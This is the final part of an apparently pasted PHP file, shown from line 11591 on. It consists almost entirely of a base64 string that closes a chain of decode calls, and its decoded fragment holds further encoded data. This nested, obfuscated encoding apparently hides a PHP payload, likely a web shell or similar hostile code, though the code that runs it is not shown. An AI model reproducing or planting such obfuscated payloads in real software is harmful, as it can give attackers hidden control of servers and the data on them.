  11591. QyRW54OHZlSDlFU3d4R25rYlBBZmVrZEFIbmdrclh0MTQwdnlSQ3BFNjZuVWFDWE81djI0TVAycURRbHZ
  11592. 4V2dkaGMrbjBLSGJyMTlnSFp2U2tnV1JsSkg2NjdqeDljUzVMOUovTjd1VjArTlYvcTUzRk1JNDAzdzRG
  11593. bC9uKzd6N0xSY0REblcwc2I0SVZya0NsNXl5TW1qaVpUNVV0NUZJMmlXdTNYZmp4OUZNQllkRzRXRHZlK
  11594. 2xMRTJHUzZpYzVlQ1R2RSs1eGozU2lCKzNNZWNTM2pXNThNNHRyNXZBSjlUdHQvYWVDTUhXa0Q1N0pVWj
  11595. lTUEVnS3dkUy9WSnVJQStNa1ptSEVkczd0RmJwNWVMMSsvTTNqYi9iTkc0VU9CODh4RjQ1YWlMaEhTaVB
  11596. uS29OeGFZbUU5Z0dGM1ZROXZyb2tzVmFocDMxZm9BcldxQWRiUmN6Yms0U1E0MmxtSjJ6M28wZTA3Mk83
  11597. Nkt2SmFUcUMyanFIcjhEM2hBaUswT3gzRUMxNXkyZGNkYTlYakgvcGVZQkNqc0t6d0k1WDlScUhtclBGS
  11598. E1vYTlSQ05qSW5WbzIyZk53bXpPVStXdXptSHplcW9vTnpHVVJITEt6RThGWDJOR1lSTzdidGF6dnZUc2
  11599. ZrS0h3QnR5MUhpdnJJZ2Q2NHZOSzJ1WGJCb1FmNmNQSDU2VENRTVIvME43NytLbyt5NFhTV0hNckdDQ2J
  11600. 1Nitvc2VJYjZKNHg3YlhtTjl1Sms4UjQvVUEyK0pFN2g0QXpMZFN4VEE0KzBRQUNzdk42ZGFGWXVEenRr
  11601. eHlxVWszY0EzcUZKeDFvczV5bHNmMGZEK2FXMm9CaVVtM3N1UHNUWEtxalc2cjZpaUFiVmdnVm1ZMXdTO
  11602. EVjZlFvL0ZlVzZ5bzA0bVhOVEoreElpblR3Q1RaYXNLZUNQbWNlWHBXYmlFMU1Hci9lZUFrMDZxUmRTc0
  11603. pla2lUWE5PSnFiOGRlM2hsRVBkODBqSXNLY01Kc2M0MURRZnpKaHpiMUpySGVyVXA5cW9hZU1zNFRkWUZ
  11604. JZFR1ODNLWVVYWmFFWHdkT1R4cnMvMzRtM3M4K0c4PSIpKSkpOw=="));
  11605. ?>
Add Comment
Please, Sign In to add comment